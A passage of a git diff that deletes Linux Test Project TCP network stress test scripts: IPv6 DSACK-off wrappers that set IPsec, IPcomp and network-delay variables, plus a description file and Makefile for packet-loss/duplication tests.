Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff01 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02 deleted file mode 100644 index 76517001..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff02 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03 deleted file mode 100644 index e9663fc0..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff03 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04 deleted file mode 100644 index b4e94290..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff04 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05 deleted file mode 100644 index bfcb4935..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff05 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06 deleted file mode 100644 index 6aa9cbf5..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff06 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07 deleted file mode 100644 index 62a0d6ee..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff07 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08 deleted file mode 100644 index 764ae575..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff08 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09 deleted file mode 100644 index 7e93e941..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff09 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10 deleted file mode 100644 index 1be3456b..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff10 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11 deleted file mode 100644 index ec5acc44..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff11 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12 deleted file mode 100644 index e46fc8ee..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff12 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13 deleted file mode 100644 index fecaf095..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff13 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14 b/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14 deleted file mode 100644 index d5f1c1ea..00000000 --- a/ltp/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-dsackoff14 -# -# Description: -# This test is simlar to tcp4-uni-dsackoff01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-dsackoff testcase -# - -# The test case ID -TCID=tcp6-uni-dsackoff14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-dsackoff01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-pktlossdup/00_Descriptions.txt deleted file mode 100644 index fd052ca8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/00_Descriptions.txt +++ /dev/null @@ -1,125 +0,0 @@ -Verify that the kernel is not crashed by a TCP connection on an unreliable -network (Namely, some of the packets are lost, some of them is duplicated.) - -tcp4-uni-pktlossdup01 - IPv4 - -tcp4-uni-pktlossdup02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-pktlossdup03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-pktlossdup04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-pktlossdup05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-pktlossdup06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-pktlossdup07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-pktlossdup08 - IPv4 - Network is delayed - -tcp4-uni-pktlossdup09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-pktlossdup10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-pktlossdup11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-pktlossdup12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-uni-pktlossdup13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-pktlossdup14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-pktlossdup01 - IPv6 - -tcp6-uni-pktlossdup02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-pktlossdup03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-pktlossdup04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-pktlossdup05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-pktlossdup06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-pktlossdup07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-pktlossdup08 - IPv6 - Network is delayed - -tcp6-uni-pktlossdup09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-pktlossdup10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-pktlossdup11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-pktlossdup12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-pktlossdup13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-pktlossdup14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/Makefile b/ltp/testcases/network/stress/tcp/uni-pktlossdup/Makefile deleted file mode 100644 index 10525cf3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/uni-pktlossdup testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01 deleted file mode 100644 index fe164c78..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01 +++ /dev/null @@ -1,78 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the 